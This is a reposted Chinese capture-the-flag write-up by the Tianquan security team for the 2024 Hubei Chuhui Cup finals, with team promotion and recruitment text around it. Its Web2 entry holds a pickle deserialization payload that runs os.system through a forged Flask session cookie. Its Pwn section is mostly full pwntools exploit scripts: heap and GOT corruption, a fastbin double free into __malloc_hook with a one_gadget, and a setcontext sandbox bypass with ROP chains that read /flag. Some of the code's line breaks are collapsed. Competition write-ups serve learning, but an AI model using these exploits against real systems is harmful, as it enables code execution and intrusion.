第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

admin 2025年1月9日22:23:57评论20 views字数 9697阅读32分19秒阅读模式

本文来自权信安网络安全生态圈  

作者天权信安网络安全团队

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

竞赛组招新:诚邀各路高手加入!

        竞赛组诚招逆向工程(RE)、密码学(Crypto)、漏洞挖掘与利用(Pwn)、杂项挑战(Misc)、人工智能安全(AI)、物联网安全(IoT)、渗透测试方向的师傅。长期招募汽车安全(Car)、工业控制系统安全(工控)、无人机安全、样本分析人才及网络安全竞赛、渗透测试讲师库。无论你是经验丰富的专家,还是初露锋芒的新手,只要你对网络安全充满热情,我们都欢迎你的加入!有意者请将简历发送至 [[email protected](带上简历和想加入的小组)]。期待与你共同交流学习!

2024年湖北省网络与数据安全实践能力竞赛荣获

特等奖

天权信安

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

    天权信安在近日参加的第九届“楚慧杯”竞赛(2024 年湖北省网络与数据安全实践能力竞赛)比赛中,凭借其卓越的才能和不懈的努力,荣获该比赛特等奖。这已是本团队连续两年在省赛中连续两年获得冠军。此项成绩充分展示了天权信安在专业技术、协作配合、创新思维等方面的强大实力。

    “楚慧杯”,作为国内顶级的网络安全赛事之一,汇聚了来自各地的网络精英。比赛内容涵盖了漏洞挖掘、攻防对抗、信息安全分析等多个领域,竞争异常激烈。在如此激烈的环境下,天权信安凭借扎实的理论基础和丰富的实践经验,以精湛的技术和高超的应变能力,成功脱颖而出,赢得了评委们的一致认可和高度评价。

    展望未来,我们将继续以更加饱满的热情和更加专业的精神,推动团队在网络安全领域的不断进步和创新。希望天权信安再接再厉,继续在未来的网络安全赛场上创造佳绩,共同迎接更多的挑战与机遇。

    再次祝贺天权信安!让我们一起为未来的更高目标共同努力,携手前行

比赛部分WP

Misc

Misc1

搜索 200找到长字符串

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp
第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

保存成zip 

解压密码

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

Misc2

cmdscan提示壁纸:

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp
第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

直接下载壁纸得到flag

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp
第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

Web

Web1

任意文件读取读show.php 

拿到反序化代码

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

eval利用passthru绕过,过滤了单引号,用双引号绕过 

再利用phar读取即可

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

Web2

主要就是一个反编译,当时没网, 一直要准备pyc本地反编译都没准备,回旋镖还是来了

反编译完就很简单, 一个绕R指令就可以秒了 

用本地弹计算器演示:

from flask import Flask, sessionimport base64opcode=b'''(cossystemS'calc'o.'''print(base64.b64encode(opcode))

把结果用 flask-session-cookie-manager 编码一下就行

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp
第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

Web3

这个可以扫到 index.php.bak

源码直接定位:

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

md5写个脚本跑就行

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

exp:

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

利用 create_function 构造

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

至于FIX有点难评,把洞全修了不过,第二轮少修了几个就过了,就不写fix了,参考意义不

Pwn

Pwn1

v>题目是个伪堆题,实际上是在 bss 上进行读写

Free 函数是向上抬,就可以修改 got,所以总体思路就是,通过 free,让 read 能在 got 表上

写,经过调试发现调用 exit 时,rsp 是 info 的地址,所以通过 pop rdi,pop rsp ,ret 就能劫

持程序流程,写入 rop 链子

from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *import base64import gmpy2li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')def s(a):  p.send(a)def sa(a, b):  p.sendafter(a, b)def sl(a):  p.sendline(a)def sla(a, b):  p.sendlineafter(a, b)def r():  p.recv()def pr():  print(p.recv())def rl(a):  return p.recvuntil(a)def inter():  p.interactive()def bug():  gdb.attach(p)  pause()def get_addr():  return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_addr1():  return u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))def get_sb():  return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))context(os='linux', arch='amd64', log_level='debug')elf = ELF('./pwn')libc=ELF("/root/glibc-all-in-one/libs/2.27-3ubuntu1.6_amd64/libc.so.6")def add(c1,c2,c3):  rl("Your choice is : ")  sl(str(1))  rl("Please enter the ID of the student")  s(c1)  rl("Please enter the name of the student")  s(c2)  rl("Please enter the student's score")  s(c3)def edit(c1,c2,c3):  rl("Your choice is : ")  sl(str(3))  rl("Please enter the ID of the student")  bug()  s(c1)  rl("Please enter the name of the student")  s(c2)  rl("Please enter the student's score")  s(c3)def free(i):  rl("Your choice is : ")  sl(str(2))  rl("Which information of student do you want to delete?")  sl(str(i))def show(i):  rl("Your choice is : ")  sl(str(4))  rl("please input index")  #bug()  sl(str(i))show(-2)get_addr()get_addr()get_addr()pie=u64(p.recv(8)[-6:].ljust(8, b'x00'))-0x866li(hex(pie))show(-1)libc_base=get_addr()-libc.sym['_IO_2_1_stdout_']li(hex(libc_base))prbp_ret = libc_base+libc.search(asm("pop rbpnret")).__next__()prdi_ret = libc_base+libc.search(asm("pop rdinret")).__next__()prsi_ret = libc_base+libc.search(asm("pop rsinret")).__next__()prdx_ ret = libc_base+libc.search(asm("pop rdxnret")).__next__()prax_ret = libc_base+libc.search(asm("pop raxnret")).__next__()free_hook=libc_base+libc.sym['__free_hook']ret = libc_base+libc.search(asm("ret")).__next__()open_addr=libc_base+libc.sym['open']read_addr=libc_base + libc.sym['read']write_addr=libc_base + libc.sym['write']syscall=libc_base+libc.search(asm("syscallnret")).__next__()add(p64(prdi_ret)+p64(0),p64(prsi_ret)+p64(pie+0x2020C0+0x40-16)+p64(prdx_ret)+p64(0x200),p64(read_addr))add(b'a',b'a',b'a')free(0)free(0)free(0)free(0)add(p64(0)*2,p64(libc_base+libc.sym['__isoc99_scanf'])+p64(pie+0xf24),b'a')free(10)pause()fake_rsp=pie+0x2020c0+0x200orw = b'/flagx00x00x00'orw += p64(prdi_ret) + p64(pie+0x2020C0+0x40-8-8) orw += p64(prsi_ret) + p64(0)orw += p64(open_addr)orw += p64(prdi_ret) + p64(3)orw += p64(prdx _ret) + p64(0x50)orw += p64(prsi_ret)+p64(fake_rsp+0x200)orw += p64(read_addr)orw += p64(prdi_ret) + p64(1)orw += p64(prdx _ret) + p64(0x50)orw += p64(prsi_ret)+p64(fake_rsp+0x200)orw += p64(write_addr)s(orw)inter()

Pwn2

2.23 uaf,没有 edit 可以 double free,a,b,a,然后拿出来 malloc hook 打 onegadget,realloc

调一下栈帧即可

from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *import base64import gmpy2li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')def s(a):  p.send(a)def sa(a, b):  p.sendafter(a, b)def sl(a):  p.sendline(a)def sla(a, b):  p.sendlineafter(a, b)def r():  p.recv()def pr():  print(p.recv())def rl(a):  return p.recvuntil(a)def inter():  p.interactive()def bug():  gdb.attach(p)   pause()def get_addr():  return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_addr1():  return u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))def get_sb():  return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')p = remote('10.1.107.11', 9999)elf = ELF('./pwn')libc=ELF("/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6")#libc = ELF('./libc-2.31.so')def cmd(a):  sla(b'choice >>n',str(a).encode())def add(idx,size,data=b'x00'):  cmd(1)  sla(b'index>>n',str(idx).encode())  sla(b'size>>n',str(size).encode())  sa(b'please input...n',data)def free(idx):  cmd(2)  sla(b'index>>n',str(idx).encode())def show(idx):  cmd(3)  sla(b'index>>n',str(idx).encode())add(0,0x80)add(1,0x68)add(2,0x68)# add(4,0x68)# add(5,0x68)free(0)show(0)libc_base = get_addr()-3951480li(hex(libc_base))free(1)free(2)free(1)'''0x4527a execve("/bin/sh", rsp+0x30, environ)constraints:  [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv0xf03a4 execve("/bin/sh", rsp+0x50, environ)constraints:  [rsp+0x50] == NULL || {[rsp+0x50], [rsp+0x58], [rsp+0x60], [rsp+0x68], ...} is a valid argv0xf1247 execve("/bin/sh", rsp+0x70, environ)constraints:  [rsp+0x70] == NULL || {[rsp+0x70], [rsp+0x78], [rsp+0x80], [rsp+0x88], ...} is a valid argv'''malloc_hook = libc_base + libc.sym['__malloc_hook']ogg = libc_base + 0xf03a4realloc = libc_base + libc.sym['realloc']+0xcpl = p64(malloc_hook-0x23)add(3,0x68,pl)#bug()add(4,0x68)add(5,0x68)add(6,0x68,b'a'*(0x13-8)+p64(ogg)+p64(realloc))# print(hex(pop_rdi))#bug()rl("choice >>n")sl(str(1))rl("index>>n")sl(str(7))rl("size>>n")sl(str(0x20))#a()inter()

Pwn3

2.31uaf,开了沙盒,通过 magic gadget,转一下就可以了,正常 orw 去拿 flag,堆块比较小,

没法一下子写完,但是可以分开去写,构造一个 read 链子,然后再去读入 orw 的链子

from pwn import *from struct import packfrom ctypes import *from LibcSearcher import *import base64import gmpy2li = lambda x : print('x1b[01;38;5;214m' + x + 'x1b[0m')ll = lambda x : print('x1b[01;38;5;1m' + x + 'x1b[0m')def s(a):  p.send(a)def sa(a, b):  p.sendafter(a, b)def sl(a):  p.sendline(a)def sla(a, b):  p.sendlineafter(a, b)def r():  p.recv()def pr():  print(p.recv())def rl(a):  return p.recvuntil(a)def inter():  p.interactive()def bug():  gdb.attach(p)  pause()def get_addr():  return u64(p.recvuntil(b'x7f')[-6:].ljust(8, b'x00'))def get_addr1():  return u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))def get_sb():  return libc_base + libc.sym['system'], libc_base + next(libc.search(b'/bin/shx00'))context(os='linux', arch='amd64', log_level='debug')#p = process('./pwn')p = remote('', )elf = ELF('./pwn')libc=ELF("/root/glibc-all-in-one/libs/2.31-0ubuntu9.14_amd64/libc.so.6")#libc = ELF('./libc-2.31.so')def add(i,size,c):  rl("> ")  sl(str(1))  rl("yours Index: ")  sl(str(i))  rl("yours Size: ")  sl(str(size))  rl("yours Content: ")  s(c)def free(i):  rl("> ")  sl(str(2))  rl("yours Index: ")  sl(str(i))def show(i):  rl("> ")  sl(str(4))  rl("yours Index: n")  sl(str(i))def edit(i,c):  rl("> ")  sl(str(3))  rl("yours Index: ")  sl(str(i))  rl("yours Content: ")  s(c)for i in range(10):  add(i,0x88,b'a')for i in range(7):  free(i+1)free(0)show(0)libc_base=get_addr()-2018272li(hex(libc_base))setcontext=libc_base+libc.sym['setcontext']+61prbp_ret = libc_base+libc.search(asm("pop rbpnret")).__next__()prdi_ret = libc_base+libc.search(asm("pop rdinret")).__next__()prsi_ret = libc_base+libc.search(asm("pop rsinret")).__next__()prdx_r12_ret = libc_base+libc.search(asm("pop rdxnpop r12nret")).__next__()prax_ret = libc_base+libc.search(asm("pop raxnret")).__next__()free_hook=libc_base+libc.sym['__free_hook']ret = libc_base+libc.search(asm("ret")).__next__()open_addr=libc_base+libc.sym['open']read_addr=libc_base + libc.sym['read']write_addr=libc_base + libc.sym['write']syscall=libc_base+libc.search(asm("syscallnret")).__next__()magic=libc_base+0x0000000000151bb0 #mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rsp], rax ; call qword ptr [rdx + 0x20]show(2)heap_base=u64(p.recv(6).ljust(8,b'x00'))-0x40-0x50li(hex(heap_base))edit(7,p64(free_hook))add(10,0x88,b'a') #10add(11,0x88,p64(magic)) #11fake_rsp=heap_base+0x90+0x90orw = p64(prdi_ret) + p64(0)orw += p64(prsi_ret) + p64(fake_rsp+0x160-0x120)orw += p64(prdx_r12_ret) + p64(0x200)*2orw += p64(read_addr)edit(0,b'/flagx00x00x00'+p64(heap_base)+p64(0)*2+p64(setcontext))edit(1,b'x00'*0x10+p64(fake_rsp)+p64(prdi_ret+1))edit(2,orw)free(0)pause()orw = p64(prdi_ret) + p64(heap_base) #flag 的位置,要改orw += p64(prsi_ret) + p64(0)orw += p64(open_addr)orw += p64(prdi_ret) + p64(3)orw += p64(prdx_r12_ret) + p64(0x50)*2orw += p64(prsi_ret)+p64(fake_rsp+0x200)orw += p64(read_addr)orw += p64(prdi_ret) + p64(1)orw += p64(prdx_r12_ret) + p64(0x50)*2orw += p64(prsi_ret)+p64(fake_rsp+0x200)orw += p64(write_addr)s(orw)inter()

-- 结束 --

以上为本次比赛WP如有问题请留言私信公众号

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

网络安全赛事举办联系方式

联系人:张先生

VX:Evan-xuanjing

邮箱:[email protected]

往期回顾

2024年湖北省网络与数据安全实践能力竞赛——天权信安WriteUp
UCTC CTF 2024高校新生网安赛 部分WriteUp
UCTC CTF 2024高校新生网安赛线上赛事圆满落幕

-天权信安网络安全团队-

网络无边 安全有界

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp
2022,感恩有您
2023,携手同行
2024,共克时艰
2025,创新突破

 用技术撬动未来,用奋斗描绘成功!

  天权信安网络安全团队(简称“天权信安”),成立于2022年,是一支研究红蓝对抗、内网渗透、红队武器库、CTF竞赛及其网安相关活动的安全团队。这里聚集着一群有技术有担当有理想、热爱信安奉献信安的多方面专业人才。天权信安的“天权”来源于北斗七星,又称为文曲星,它代表着天资聪颖,能力超群,也象征着天权信安的高标准、高水平与高质量,体现着我们的宗旨--打造一支作风优良、实力强劲、团结协作的精英团队,用技术与毅力共同守护网络安全。目前成员 40 余人,成员也来自于黄鹤网络安全实验室,队员分布于阿尔托大学(国外)、科大、华科、电子科大、警大、江苏海洋大学、国际关系学院、广大、河北师大、吉林师大、西南石油、安工院、湖工大、华师大、湘大、湖南工程学院等国内各大高校,也分布于绿盟科技、奇安信、长亭科技、安恒信息、联通、移动等国内大厂。为“网络安全爱好者”提供一个更好的学习交流生态圈,天权信安欢迎技术大咖、攻防渗透、CTF选手等资深专业人士前来分享网络安全前沿技术、攻防实战经验、内网渗透、IOT安全、电子取证、CTF、APT、工控安全等技术,通过经验分享,来帮助大家了解最新网络安全动态,提升安全技术水平,拓宽知识领域,致力于打造一个开放共享的网络安全生态圈。

第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

原文始发于微信公众号(赛查查):第九届“楚慧杯”竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUp

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月9日22:23:57
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   第九届楚慧杯竞赛(2024 年湖北省网络与数据安全实践能力竞赛)决赛——天权信安部分WriteUphttps://cn-sec.com/archives/3611830.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息